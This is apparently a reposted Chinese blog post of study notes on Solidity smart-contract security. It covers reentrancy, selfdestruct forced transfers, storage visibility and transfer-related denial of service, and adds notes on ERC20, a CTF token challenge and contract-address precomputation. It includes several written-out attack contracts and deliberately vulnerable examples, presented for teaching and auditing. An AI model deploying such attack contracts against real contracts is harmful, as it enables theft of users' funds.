  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

这里的withdraw我稍微修改了一下,添加了一个哨兵,这样攻击者就无法在withdraw函数进行重进入攻击了(大概,主要担心改变哨兵状态太早或太晚可能会导致DoS),但是这个transfer…有点危险,假如我们的攻击合约长这样:

contract Attack{
	address public _Vulnerable;
	address public owner;

	constructor(address _vul){
		_Vulnerable = _vul;
		owner = msg.sender;
	}
    
    modifier onlyOwner{
        require(msg.sender == owner, "Only the owner can call.");
        _;
    }
	
	function attack() public{
		_Vulnerable.call{value: msg.value}(abi.encodeWithSignature("withdraw()"));
	}
    
    function withdrawal() public payable onlyOwner{
        payable(owner).transfer(address(this).balance);
    } 
	
	fallback() external payable{
		_Vulnerable.call{value: msg.value}(abi.encodeWithSignature("transfer(address,uint256)",owner,1 ether));
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

我们跟踪一下:假如我们的攻击合约一开始就已经有1ether的余额了(我没在攻击合约写存款相关的东西),那么当我们进行attack的时候,我们就会接收到Vulnerable合约的1ether,然后调用到fallback函数

但是从这里开始就和单函数重进入不一样了:我们fallback进入的不再是被保护的withdraw,而是transfer。由于攻击合约的余额尚未被更新,此时balance[攻击合约]还是1ether,也就是10**18,那么此时我们将这些余额转给我们自己(或者我们操控下的任一地址,这里图方便就写我们自己了),假如攻击合约地址叫A,我们自己的地址是B,那么B的余额就变成了1ether,A的则清空

此时我们完成了余额的转移,继续进入withdraw,本来就是0的余额重新清0,没有任何变化,然后B再把余额通过transfer函数转给A,这样就回到了A的余额为1ether,B余额为空的初始状态,但是唯一的区别就是我们偷走了Vulnerable合约的钱

像上面重新进行多次攻击就可以圈走绝大部分钱,Voilà!

所以我们得到了一个教训:任何和未被信任的地址进行交互的函数都应该被视作不被信任的

6.3 只读重进入

上面的两种重进入攻击进入的都是会改变状态变量的函数,而这一部分要提到的只读重进入就不太一样,这种重进入是跨合约重进入的一种,而漏洞合约有三个主要的特征:

  • 存在一个状态变量
  • 存在一个external的函数,调用之后(可能还要经过一系列操作后)上面那个状态变量会变化
  • 存在另一个合约,其运行依赖上面的那个状态变量

基本的原理就是当漏洞合约向攻击合约发送代币的时候,攻击合约的fallback中可能执行恶意代码,使得合约的余额和状态变量异步,而外部的合约依赖于状态变量进行处理(因为通常对应的函数由view关键词修饰,在漏洞合约不会加入重进入守卫(因为view函数使用的操作码为STATICCALL,上文有提到过相关的内容),同时外部合约一般会无条件信任函数的返回值),最后可能导致未料到的损失,而攻击者因此受益

具体的例子我实在也没看明白,这里就放几个链接,各位自行去看大佬的分析吧,咱这个废物就开摆了

Curve LP Oracle Manipulation: Post Mortem - Chainsecurity

Decoding $220K Read-only Reentrancy Exploit | by QuillAudits Team | Medium | Medium

Reentrancy - Smart Contract Security Field Guide (scsfg.io)

7. selfdestruct以及它的潜在危害

selfdestruct(),正如其名,是一个合约自毁方法,其效果是将已存储在链上的bytecode(即deployedBytecode)删除,同时将合约中储存的所有ether转移到指定的地址去,最后向合约的开发者返回一些gas费(因为销毁合约bytecode能有效减少节省链上的gas). 一般这个方法会在合约升级、清除不再使用的合约、减少损失(假如合约被攻击的话)的时候被使用

调用selfdestruct并不会清除合约的存在痕迹,而只是删除合约的bytecode

当然,如果调用了selfdestruct,那么它只会转移ether,而合约内存储的ERC20代币或者ERC721下的NFT都将会丢失,无法被找回,这也是selfdestruct的一个问题

当然,最大的问题还是在于selfdestruct的强制转移ether:

更新:selfdestruct()已经被弃用,自从Cancun硬分叉之后,selfdestruct操作码仅转移ether,而不会删除bytecode,除非在和合约创造的同一个交易下被使用(EIP-6780),但是其强制转账的性质仍然保留;同时这个改变对链上所有合约都有效,该行为仅依赖于当前链的EVM版本,编译时使用的-evm--version设置对此无影响,即在当前(Cancun)硬分叉下,即使使用Shanghai及以前硬分叉的版本进行编译,该合约仍然无法使用selfdestruct自毁

7.1 强制地向合约地址转账

前面有说过一般情况下如果要向一个合约进行转账,那么要么通过被payable修饰的函数,要么合约存在receive(),要么合约存在fallback(),否则EVM就会报错. 但是有三种情况可以绕过上面的情况:

  1. 利用selfdestruct()向合约地址发送ether

  2. 合约仍旧可以接受Coinbase转账或挖矿奖励,攻击者可以进行PoW挖矿然后设定受害者合约,从而使合约强制收款

  3. 在合约创建之前提前获取其地址,然后向该地址进行转账,从而使合约强制收款

    • 合约的地址是先对交易发送者的地址和交易的nonce进行RLP编码,然后进行keccak256哈希运算,取最右侧160位为地址,用一句Python代码形容就是:

      def mk_contract_address(sender, nonce):
          return sha3(rlp.encode([normalize_address(sender), nonce]))[12:]
      
      • 1
      • 2

这里我们就只针对selfdestruct的攻击方法进行阐述

一般使用selfdestruct时,我们的受害者合约都会使用address(this).balance来进行一定的判断,比如下面这个合约:

// SPDX-License-Identifier : MIT  
 
pragma solidity ^0.8.17;

contract Mint{
  address public minter;
  uint public target = 30 Ether;
  
  function depositMintingEther() public payable  {
  require(msg.value == 1 Ether, "You can only mint one NFT at a time");
      uint bal = address(this).balance;
      
      require(bal <= target, "We have run out of NFTs");
      
      if(bal == target){
      lastMinter = msg.sender;
      }
  }
          
  function receiveFunds() public {
  require(msg.sender == lastMinter);
          
      (bool success, ) = msg.sender.call{value : address(this).balance}("");      
      require(success, "Cannot send funds");
      }
  }
          
contract Attack{
       
   Mint badMinter;
   constructor(Mint _badMinter) {
   badMinter = Mint(_badMinter);
   }
          
   function spoiler () public payable{
   address payable mintAddress = payable(address(badMinter))    
   selfdestruct(mintAddress));
   }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

我们先分析Mint合约. 这个合约首先就是每个人向合约发送1ether来铸造1个NFT,然后设定最多铸造30个. 当铸造完毕后,最后一个铸造NFT的人就可以调用receiveFunds函数来获取之前所有人用于铸造NFT的ether,也就是1换30+一个NFT,血赚

理想很美好,但是现实很骨感,下面的Attack合约就打破了这个美梦:上面的bal是利用的address(this).balance,所以我们可以利用selfdestruct强制向Mint合约发送ether,从而使得我们的lastMinter身份不被别人抢走

攻击的思路大概是这样:我们先正常depositMintingEther,使lastMinter变成我们自己,然后我们部署一个Attack合约,向Attack合约发送ether(这里可以是30ether),然后我们调用spoiler(当然可以先部署Attack再depositMintingEther,但是spoiler肯定是最后执行),从而使Mint合约的余额超过30ether,无法再铸造NFT. 最后我们receiveFunds就能收回所有自己的合约,还有别人的ether. Voilà!

所以开发的时候,请务必不要依赖address(this).balance,会变得不幸

8. I see you——与修饰词相关的潜在风险

8.1 public,private,internal,external

这4个修饰词在开发中时是非常常用的,这里就简单讲下4个词的区别:

  • public,公开的,合约内部和外部都可以访问/调用
  • private,私有的,只有本合约可以访问/调用,即使是本合约派生的子合约也无法访问/调用
  • internal,内部的,只可被本合约以及派生的子合约访问/调用
  • external,外部的,只可被外部地址访问/调用

有没有发现刚刚写的都只是合约与合约之间的可见性关系?那是因为对于一个状态变量,无论它是怎么修饰的,其可见度都只对合约有效!

听起来太绝对了,不是吗?那么我这里给出这个论断的原因:还记得前面我们提到过的状态变量的存储分布吗?状态变量是存在存储里面的,而区块链上所有东西都是公开的,包括合约的存储(以及其变化),所以所有能访问区块链的人(也就是所有人)都能通过存储看到状态变量!

一般想查看特定合约特定存储槽下数据的话都会使用web3的工具getStorageAt,但是其实直接查看链上的交易详情也是可行的,不过得先找到修改对应存储槽下数据的交易然后查看状态变化(Etherscan上就是查看交易下的State的详情)

如果是把数据直接硬编码在合约状态变量的话,它的bytecode就会泄露这个状态变量的数据,原理其实也是大差不差的

所以想把数据直接存储在链上是不可取的,最好的方法就是在链上存储之前就先加密,然后利用零知识证明(Zero-Knowledge Proof)在不透露秘密参数的情况下证明自己有这个参数(ZK非常重要,非常重要!!!!

8.2 view,pure

首先先说一下这两个关键词的作用:

  • view,说明该函数不会修改任何状态变量(但是可以读),使用的操作码是STATICCALL,对于库则是DELEGATECALL
  • pure,说明该函数不会修改或者读取任何状态变量,使用的操作码也是STATICCALL

有的时候使用view/pure修饰函数是非常必要的,比如说Ethernaut的第11关:

// Original code at https://ethernaut.openzeppelin.com/level/0x6DcE47e94Fa22F8E2d8A7FDf538602B1F86aBFd2

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

它通过Building接口调用其他合约中的isLastFloor函数,但是由于接口中的函数没有设定view,所以函数可以进行状态变量的改变,从而使得下面的goTo被调用的时候top可以被设定为true

当然不仅如此,即使是使用了view限制住了函数,我们仍然可以利用一些其他的函数判断输入并返回不同的值,比如gasleft()

正常情况下使用staticcall会使得gasleft()得到的结果比使用call多,所以可以设定一个基准值_value,当gasleft() > _value的时候返回一个值,否则返回另一个值,不过确实不太方便,得不断调整_value,而且如果call的时候设定gas总量,那么这个方法也是不可行的

9. 安全地转账——transfer(),send()和address.call{value: msg.value}(“”)

上文我们提到了重进入攻击还有selfdestruct(),两者都是和向指定地址转账相关的安全问题,那么这里就聊一下和转账相关的函数它们可能存在的安全问题

首先让我们先重新认识一下常见的和转账相关的函数:

  • transfer(),有一个2300gas的限制,转账失败时抛出异常,直接revert
  • send(),有一个2300gas的限制,转账失败时返回bool false
  • address.call{value: msg.value}(“”),不存在gas限制,转账失败时返回bool false

第3个函数(call)其实调用的是地址的fallback方法,后面那个(“”)是代表这次的call不指定执行任何函数,因此调用的是fallback

transfer和send的提出其实是为了预防call导致的重进入攻击漏洞,而这需要我们首先了解gas:

9.1 转账时可能发生的DoS(Denial of Service,拒绝服务)

9.1.1 gas与gas limit的简述

gas,简单理解为手续费,在以太坊区块链上进行交易必须的费用,而每次交易都会存在一个block gas limit(区块gas限制)来控制系统进行交易的次数,从而防止出现无休止的计算消耗区块资源,而我们一般控制的gas limit是指我们最多愿意出多少ether作为手续费

最终的手续费计算应该是这样的:

fee = current_gas_price * gas_spent
  • 1

gas价格会随时间/算力波动,fee最终应该小于等于gas limit,而gas limit小于等于block gas limit(一般情况都满足小于block gas limit,这里忽略),如果最后fee超出了gas limit,交易失败,同时消耗的gas不会返还,而合约的状态变量不会改变

刚刚说过transfer和send是为了预防重进入,利用的就是gas限制,因为重进入需要进行多次转账交易,最终会导致超出gas限制,最终导致攻击失败

这很好,但是这就出现了另一个问题:2300gas的限制对于向用户地址转账确实足够了,但是如果是向合约转账呢?试想一下,我们有个合约的receive()函数里面进行很多正常的状态变量的改变和一些与其它合约的交互,那么2300gas有的时候是真的不够用,最后就会导致转账失败,就比如说向基于合约的钱包进行transfer或send的转账的话,很有可能会导致转账失败

9.1.2 预期之外的revert导致的DoS

比如我们有个竞价的合约:

// This code has been slightly modified, original post at https://stackoverflow.com/questions/66099356/a-security-issue-with-requiresend-in-solidity

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        // currentLeader.transfer(highestBid);

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

这是一个非常正常的竞价合约,价高者成为Leader,同时向上一个Leader返还他支付的钱

但是问题就出在第11行,如果能保证无法向currentLeader转账,那么是否就能一直保持currentLeader的所有权?

比如我们的攻击合约长这样:

contract Attack{
	constructor(address _Auction) public payable{
		address(_Auction).bid{value: msg.value}();
	}
	
	fallback() external payable{
		revert("Wubba lubba dub dub!");
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

那我们通过constructor竞价之后成为了Leader,但是当别人想竞价的时候,转账就会调用我们合约的fallback,而fallback里面是revert,导致转账失败,此时bid就不再执行,所以我们就此永久拿到了currentLeader的所有权而不会被别人抢走

上面Auction合约的第11行和第12行其实是等价的,transfer在转账失败的时候就会直接revert,打断bid的继续执行,而send转账失败返回的bool false无法通过require,从而打断bid的继续执行

9.1.3 gas limit可能导致的DoS

刚刚提到了每个区块都存在一个block gas limit,而EVM进行编译操作的时候会消耗gas,所以如果消耗了所有的gas也是有可能导致DoS的,而且最致命的是这种情况甚至可能在没有人特意进攻合约的时候发生(当然如果有的话那DoS的发生率肯定会大幅上升)

就比如你向所有资助者返还资金:

// This code has been slightly modified, original code at https://github.com/Consensys/smart-contract-best-practices/blob/master/docs/attacks/denial-of-service.md

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

如果是这样,假如你要发送的资助者人数众多,那么很有可能你操作时消耗的gas就超出了block gas limit,最终导致交易失败,而人数过多又导致这个函数每次被调用就一定会revert,最后就形成了一个DoS,所以原出处的代码在while的条件里面加了个gasleft()来预防这种情况的出现

智能合约杂项随想

下面的就不用看了,就是一个啥都不会的菜鸡的大惊小怪,既没有什么深度和水平,也不是主要更新的部分,分成合约审计和杂项这两部分单纯是为了区分,别把知识点搞太乱了www

1. ERC20

目前对整个ERC20协议还是不是很了解,而且还有个NFT的ERC721协议,之后遇到可能会再补充补充

和ERC20接触的原因是最近几天被爹地赶去当帕鲁,在2天之内抽空赶出来了一道Blockchain的红包题~~(怎么过年都能被PUA啊)~~

当时爹地的要求是搞个代币,所以就想着搞了个ERC20的同质化代币出来. 当时题目本来是想出上面提到的油量表的,但是最后由于ERC20.sol的版本是^0.8.0,只能作罢,搞了个简单的抛硬币出来

合约我放这里,核心代码都是从Ethernaut的第三关(CoinFlipping)直接搬的,就只是套了个简单的ERC20的壳:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract AuroraToken2024 is ERC20{
    address public issuer;

    mapping(address => uint256) public consecutive_wins;
    uint256 last_hash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() ERC20("AuroraToken2024", "ATK2024"){
        _mint(msg.sender,1000000*10**18);
        issuer = msg.sender;
    }

    modifier onlyIssuer{
        require(msg.sender==issuer,"Caller is not issuer.");
        _;
    }

    function Fundings() public{
        require(balanceOf(msg.sender) < 1*10**17,"You can still flip the coin.");
        require(balanceOf(issuer) > 1*10**18,"Not enough ATK2024 supplies, plz contact the issuer.");
        _approve(issuer, msg.sender, 1*10**18);
        transferFrom(issuer,msg.sender,1*10**18);
    }

    function softMint(uint256 _amount) public onlyIssuer{
        _mint(msg.sender,_amount*10**18);
    }

    function CoinFlipping(bool _guess) public returns(bool){
        require(balanceOf(msg.sender) >= 1*10**17,"Insufficient balance.");
        transfer(issuer, 1*10**17);
        uint256 guessing_value = uint256(keccak256(abi.encodePacked(msg.sender,blockhash(block.number - 1))));
        
        if(last_hash == guessing_value){
            revert();
        }

        last_hash=guessing_value;
        uint256 coin_flip_result = guessing_value / FACTOR;
        bool side = coin_flip_result == 1 ? true : false;

        if(side==_guess){
            consecutive_wins[msg.sender]++;
            _approve(issuer, msg.sender, 11*10**17);
            transferFrom(issuer,msg.sender,11*10**17);
            return true;
        }
        else{
            consecutive_wins[msg.sender] = 0;
            return false;
        }
    }

    function Minimum_Guarantee() public{
        require(balanceOf(msg.sender) >= 50*10**18,"You don't have enough ATK2024s to skip the level.");
        transfer(issuer, 50*10**18);
        consecutive_wins[msg.sender]=10;
    }

    function Verification(address _verifier) public view returns(bool){
        return consecutive_wins[_verifier] >= 10 ? true : false;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68

(等我测完题发到链上之后才意识到忘记搞个burn的函数了,但是已经晚了QωQ)

1.1 transferFrom(),approve,allowance

当时在写怎么转账给玩家的时候,我是只用了transferFrom(issuer,msg.sender,value)这一句的,但是在本地链上测试的时候就发现只要是带了transferFrom的函数全部都无法执行. 翻了好久才发现是一个_allowances的问题,再深入搜索才发现如果使用transferFrom就需要先approve再使用

原因其实很简单:如果能任意使用transferFrom,那么是十分危险的,因为这样攻击者就可以利用这个方法去从任意用户的钱包中将代币转账给自己,所以为了防止这种情况发生,就有了approve

这里解释一下_approve(address owner, address spender, uint256 value)的各个参数:看上面的红包题合约,我需要利用transferFrom将代币从我的钱包里面转给调用者,那么我作为钱包的拥有者就是owner,而调用者是会花费我钱包的代币的,所以msg.sender是spender,而value自然是我允许调用者从我钱包里最多转走多少代币

如果调用的是ERC20的approve(address spender, uint256 value)的话,则owner地址会定义为msg.sender

(其实我应该把msg.sender改成tx.origin的,但是想起来的时候也是和上面的burn函数一样,太晚了,see baka)

1.2 粗糙的临摹

前段时间EthernautCTF2024开了,因为技术确实还是不过关,而且同期还有其他事情,所以当时就只是看了一下,现在也是在学习复现上面的题(oz官方的wp真的太赞了,非常详细,可比某Blaz细多了)

里面第3题是一个Auction,使用的是一个自己写的WETH,不过看了一眼,基本上和ERC20的机制差不多,所以就简单结合了那道题还有ERC20的两个合约进行了一个比较粗糙的临摹:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Permission_Token{
    event Approval(address indexed account, address indexed spender, uint256 amount);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    address owner;
    mapping(address => uint256) Balances;
    mapping(address account => mapping(address spender => uint256)) Allowance;
    uint256 public total_supply;

    modifier onlyOwner{
        require(msg.sender == owner, "Only the owner can call.");
        _;
    }

    constructor(uint256 _total_supply){
        owner = msg.sender;
        total_supply = _total_supply;
        Balances[owner] = total_supply;
    }

    function balanceOf(address _account) public view returns(uint256){
        return Balances[_account];
    }

    function allowances(address account, address spender) external view returns(uint256){
        return Allowance[account][spender];
    }

    function transfer(address _account, uint256 amount) external{
        require(amount <= balanceOf(_account), "You don't have enough tokens to transfer.");
        Balances[msg.sender] -= amount;
        Balances[_account] += amount;
        emit Transfer(msg.sender, _account, amount);
    }

    function transfer_from(address from, address to, uint256 amount) external{
        require(Allowance[from][to] >= amount, "Insufficient allowance.");
        Allowance[from][to] -= amount;
        Balances[from] -= amount;
        Balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function Approve(address spender, uint256 amount) public{
        _approve(msg.sender, spender, amount);
    }

    function _approve(address account, address spender, uint256 amount) internal{
        require(account != address(0), "What the heck do you think you're doing?");
        require(spender != address(0), "What the heck do you think you're doing?");
        Allowance[account][spender] += amount;
        emit Approval(account, spender, amount);
    }

    function _mint(address account, uint256 amount) public onlyOwner{
        total_supply += amount;
        Balances[account] += amount;
    }

    function _burn(uint256 amount) public onlyOwner{
        require(amount <= balanceOf(owner), "Not enough tokens to be burnt.");
        total_supply -= amount;
        Balances[owner] -= amount;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68

其实就是一些基础的功能:铸造,烧毁,转账还有上面提到的allowance机制

当时在学的时候发现_approve()是internal的,当时就在想红包题那题为什么我能直接调用,然后突然想起来ERC20是abstract的,红包题又是直接继承的,自然可以内部调用

1.3 粗心导致的通过allowance机制的攻击

兜兜转转还是回到了合约审计www

还是1.2提到的那个Auction(题目名称dutch),那题最后的执行难度极低,但是审计确实蛮头大的,首先是我压根没学过Vyper,其次就是要审计3个合约(主要是没想到部署实例的Deploy合约也有重要信息)

那题其实现在来看还是蛮简单的,就是Auction合约被允许使用Deploy合约的1个WETH,而Auction里面的buyWithPermit函数调用栈里面使用了transferFrom,传进去的参数却是buyer和self,那么我们只要让buyer是Deploy合约,receiver是自己就行了

(当然那题WETH还缺少个permit函数www)

2. 字符串比对

上面有提到storage,memory和calldata之间的区别,但是在写合约的时候发现string还分为string memory,string calldata,string storage ref之类的,它们之间是没法使用"==“和”!="运算符的

瞬间头大,那怎么对这些东西进行比对啊… 然后去了StackExchange看了下,才想起来keccak256这个东西…

所以就有了下面在群里面调侃E神的合约:

contract Nope{
    string private flag;
    function Verification(string memory _name) public view returns(string memory){
        if(keccak256(abi.encodePacked(_name))==keccak256(abi.encodePacked("Err0r233"))){
            return "Nope";
        }
        else{
            return flag;
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

3. RLP编码和合约地址预计算

在审计随想7.1的时候,我们有提到对合约地址的预计算,这里就详细展开RLP编码和合约地址是怎么计算的吧

3.1 RLP编码

RLP编码用于在Ethereum的执行层对对象进行序列化,利用节省空间的格式标准化节点间数据的传输

如果我们需要对字典进行RLP,那么有两种方法:一种是将其转换为[[k1, v1], [k2, v2], …]的格式,另一种是使用基数树

我们假如输入为p,那么我们对p进行一系列分类讨论:(这一部分的“字符串”指的是一定数量个字节的二进制数据,也就是说譬如地址,uint256,bytes4这些数据在这里都是“字符串”)

  1. 假如p是非值,比如nullfalse,空字符串'',整型0

    ​ RLP§ = [0x80]

  2. 假如p是一个空列表[]

    ​ RLP§ = [0xc0]

  3. 假如p长度为1个字节,且值为0x00~0x7f

    ​ RLP§ = [p],例如RLP(0x4a) = [0x4a],RLP(‘s’) = [0x74]

  4. 假如p是一个长度len = 1~55的字符串:(注意当长度为1时,需要字符串的值>0x7f)

    ​ RLP§ = [0x80+len, p],例如RLP(qsdz) = [0x84, 0x71, 0x73, 0x64, 0x7a]

  5. 假如p是一个长度len > 55的字符串:

    1. 先用bytes的形式表示len,比如我们有个1024长度的字符串,此时len = 0x0800,需要2个字节表示
    2. 假如len需要x个字节进行表示,那么我们有RLP§ = [0xb7+x, len, p],在这个例子里RLP§ = [0xb9, 0x08, 0x00, p]
  6. 假如p是一个列表,列表中所有元素依次经过RLP编码后,整个payload长度len = 1~55:

    ​ RLP§ = [0xc0+len, RLP(p[0]), RLP(p[1]), ...]

    ​ 例如p = ["qsdz", "Triode"],我们对每个元素依次进行RLP,分别得到[0x84, 0x71, 0x73, 0x64, 0x7a][0x86, 0x54, 0x72, 0x69, 0x6f, 0x64, 0x65],整个payload长度len = 5+7 = 12 = 0x0c,所以RLP§ = [0xcc, 0x84, 0x71, 0x73, 0x64, 0x7a, 0x86, 0x54, 0x72, 0x69, 0x6f, 0x64, 0x65]

  7. 假如p是一个列表,列表中所有元素依次经过RLP编码后,整个payload长度len > 55:

    1. 先用bytes的形式表示len,比如我们的payload长度为11037,此时len = 0x2b1d,需要2个字节表示

    2. 然后我们把所有元素经过RLP编码后得到的结果连接起来,记为concat(RLP(p[i]))

    3. 假如len需要x个字节进行表示,那么我们有RLP§ = [0xf7+x, len, concat(RLP(p))],在这个例子里RLP§ = [0xf9, 0x2b, 0x1d, concat(RLP(p[i]))]

      具体例子我就不给了,想看例子以加深理解的话可以看这篇文章

至此,我们已经遍历了所有情况,那么我们回到合约地址的预计算上吧~

3.2 合约地址预计算(CREATE)

合约地址的计算规则在7.1也已经提过了,是address(uint160(uint256(keccak256(rlp([msg.sender, nonce]))))),其中nonce指的是合约创建者的地址的交易数(如果创建合约的是EOA地址)或者合约创建者所创建的合约的数量(如果创建合约的是合约地址),而合约创建第1个合约时,nonce为1(详见EIP-161

这里我们假如创建新合约A的是一个合约B,且A是B创建的第1个合约,那么我们尝试预计算一下合约的地址吧~我们先对[msg.sender, nonce]进行RLP编码,这里msg.sender应该是address(B),因为是B创建的合约

由于msg.sender长度为20bytes,所以RLP(msg.sender) = [0x80+0x14(0x94), msg.sender],总长度为1+20=21;而根据前提我们知道nonce = 0x01,所以RLP(nonce) = [0x01],总长度为1;此时整个列表的所有元素都已经经过RLP了,最终长度应该是22,即0x16,所以根据上面的RLP规则,我们有RLP([msg.sender, nonce]) = [0xc0+0x16, RLP(msg.sender), RLP(nonce)] = [0xd6, 0x94, msg.sender, 0x01]

所以我们在Solidity里面就可以这样计算新合约的地址啦:

address new_contract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(this), bytes1(0x01))))))
  • 1

当然,需要注意要根据nonce和创建者地址适当修改上面的Solidity代码,不然计算可能出错

3.3 合约地址预计算(CREATE2)

相比于上文的计算,CREATE2的地址计算就显得简单了许多,在EIP-1014官方文档里面是这样定义的:

address new_contract = keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
  • 1

其中address是合约创建者地址,salt是任意的uint256值,init_code是构成了合约constructor的字节码,或者用[2.1](#2.1 msg.sender和tx.origin)的话来讲,就是bytecode里面在deployedBytecode前的字节码,用Solidity来写就是:

bytes memory init_code = type(new_contract_2_be_deployed).creationCode;
  • 1

这样最外层keccak256里面数据的长度就是固定的1+20+32+32=85个字节

之前使用CREATE2的话要通过assembly进行,不过现在只需要传一个salt就行了:

// using CREATE opcode
TestContract contract_CREATE = new TestContract(args);
// using CREATE2 opcode
TestContract contract_CREATE2 = new TestContract{salt: _salt}(args);
  • 1
  • 2
  • 3
  • 4

4. 变形合约(Metamorphic Contract)(当前已无法在主网/测试链复现)

请注意!EIP-6780对SELFDESTRUCT操作码的功能变更(不删除字节码)使得变形合约无法利用CREATE2字节码重新部署在原来的地址上,从而导致变形合约当前无法在主网,Sepolia测试链等EVM版本已经大于等于Cancun的链上实现

Under Construction…

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/654096
推荐阅读
相关标签
  

闽ICP备14008679号